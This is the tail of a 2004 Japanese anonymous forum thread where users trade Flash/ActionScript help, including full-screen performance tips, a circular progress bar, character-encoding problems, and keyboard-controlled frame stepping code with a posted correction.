会社でフルスクリーンフラッシュを作らされたんだが、 処理仕切れない現状。 exeで納品するわけなんだが、処理速くする方法教えてください。
>964 レスありがとです。 やっぱりそうやって総当たりみたいな感じでやるしかないんでしょかね...。
>>962 個々のボタンに書くしかない
>>963 その「効率の悪そうな方法」しかない
>>965 ベクターメインなのか画像取り込みなのか? 取り込みならもうダメぽい
もちっと詳しく説明しないと
次スレいつ作るん?
>>965 fps低めで、Pen4の3GHz以上のマシンで動かせばいいんじゃないかな。
>>965 flashでフルスクリーンを馬鹿正直にすると、画面全体をCPUで書き換える事になるんで
激しく重い。
できれば画面の解像度を下げて見てもらうとか、それが無理ならなるべく書き換えの起きる
範囲を狭くする事。
こしあん堂のTipsが参考になると思う。
あえてフルスクリーンの解像度で制作してみては? そうとう画像簡略化しないとダメだけど。 あと容量気にしなくていいのなら、 画像は、最大に拡大するときの解像度で作っておくと、 無理に拡大するときよりは負荷少なかった希ガス。 なんにせよ、最大化画面では、アルファ関係は一切使えないね。
971 :
965 :04/09/10 10:35 ID:CxQSdhmt
レスありがとうございます。 fpsは17 で、画面サイズは1024*768です。 オマケに画像取り込みが多く使われてて… クライアントがダメで申し訳ないです。 exeで処理を速くするソフトがあるって聞いたんですが… 知ってる方いますか?
ムービークリップか埋め込みビデオを 操作できるシークバーを作りたいのですが、どうやっていいか分かりません。 アドバイスかヒントだけでもお願いします。。。
プログレスバーの質問です。 単純な一本の棒が、ロード完了した%にしたがって左から右に伸びていくものではなく、 円を描いてぐるっと一周描いたら完了って言うのを作りたいのですが、何か良い方法はないでしょうか?
ぱっと思いつく限りだと、 昔の映画の初めみたいにコマアニメで表現するか、三角関数とlineTo()使って描画するか、 かな。
自分が昔作った奴は、 半円のクリップを作る ロードに合わせて、マスクを使って一つ目を回転させながら表示 50%以上ロードしたら、一つ目を固定して、二つ目を回転させながら表示 って感で、問題なく動いたよ。
>>965 どうせexeなら、画面サイズを640x480にしてからswfが起動するように
作ってしまえばいいかも。
個人的には勝手に画面サイズを変えられてしまうとムカつくけど。
アクセシビリティのかけらも無いフルスクリーンなんて今時流行らねぇんだよ とクライアント様に提案してみるとか
980 :
Now_loading...774KB :04/09/11 22:49:27 ID:hJS8T9f/
Flashで検索窓を作ったんですが、日本語で検索すると 文字が化けます。どうしたら直すことができるのでしょうか。 変数を変えたりしても直りません。解決策は無いでしょうか?
982 :
Now_loading...774KB :04/09/11 23:58:55 ID:hJS8T9f/
文字コードとは?
にせさつ
>>982 何の検索?
よくわからんが文字化けなら文字コードを疑ってみる。
MX以降はデフォルトがUTF-8だったはず。
あとはググれば腐るほど出てくるよ。
985 :
980 :04/09/12 01:43:14 ID:XDiyvLZw
>>984 さん
ありがとうございます。
とりあえずググッて見ます。
一応Yahooなどの検索窓を作ったのですが、
例えば、「い」と入れて検索すると「縺」となってしまうんです。
∧((())∧ (((〃・∀・))) = ))) ((( 〜((( × ))) = (__/"(__) トテテテ...
WinXP、MX2004proでやってます。適当なところに透明ムービークリップを作って onClipEvent (enterFrame) { if (Key.isDown(Key.LEFT)) { _root.prevFrame(); } else if (Key.isDown(Key.RIGHT)) { _root.nextFrame(); } else if (Key.isDown(Key.SPACE)) { _root.play(); } } として左右でコマ送り、スペースで再生としたんですが、 これをスペースを押したら止まって、止まってる時に左右キーでコマ送りできて、 スペースで再生というように改変するにはどこをどう書き換えればいいですか? いきなり左右キーを押すのがちょっと嫌だったので…。
>987 こうかな onClipEvent( enterFrame ){ if( Key.isDown( Key.LEFT ) ){ if( flg == false ){ _root.prevFrame(); } }else if( Key.isDown( Key.RIGHT ) ){ if( flg == false ){ _root.nextFrame(); } }else if( Key.isDown( Key.SPACE ) ){ if( flg == false ){ _root.play(); flg = true; }else{ _root.stop(); flg = false; } } }
>988 2行目でシンタックスエラーが出ました…
あ、ごめん、見やすくするために 全角スペースがところどころ入ってるの。 コピペせずに自分で記述してみてください。
>990 手入力しましたが、スペースを押しても止まらなかったり 次のフレームに行ったりしてしまいます…。
うう、すまん enterframeで回してるんだった、、、orz これに修正してください。 試したんでこれで動くはず、、、 onClipEvent( enterframe ){ if( Key.isDown( Key.LEFT ) ){ if( flg == false ){ _root.prevFrame(); } }else if( Key.isDown( Key.RIGHT ) ){ if( flg == false ){ _root.nextFrame(); } } } on( keyPress "<SPACE>" ){ if( flg == false ){ _root.play(); flg = true; }else{ _root.stop(); flg = false; } }
>992 うわー!できた!わざわざありがとうございます。 つ旦 ご苦労様でございました。
994 :
Now_loading...774KB :04/09/13 07:11:33 ID:4g2wfwH+
995 :
Now_loading...774KB :04/09/13 07:36:48 ID:fDCdFojX
995
>996 考え方はそれであってます。 エラー内容はなんでしょう。
>>997 どうもありがとうございます。
間違えてフレームにstopとgotoを両方配置してました…。
ボタンに配置したらちゃんと動きました。
999 :
Now_loading...774KB :04/09/13 15:22:15 ID:WqVRIP+z
( ´ー`)y-~~
_ ( ゚∀゚) <| |> | ⊃ ノ U彡ヽ
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。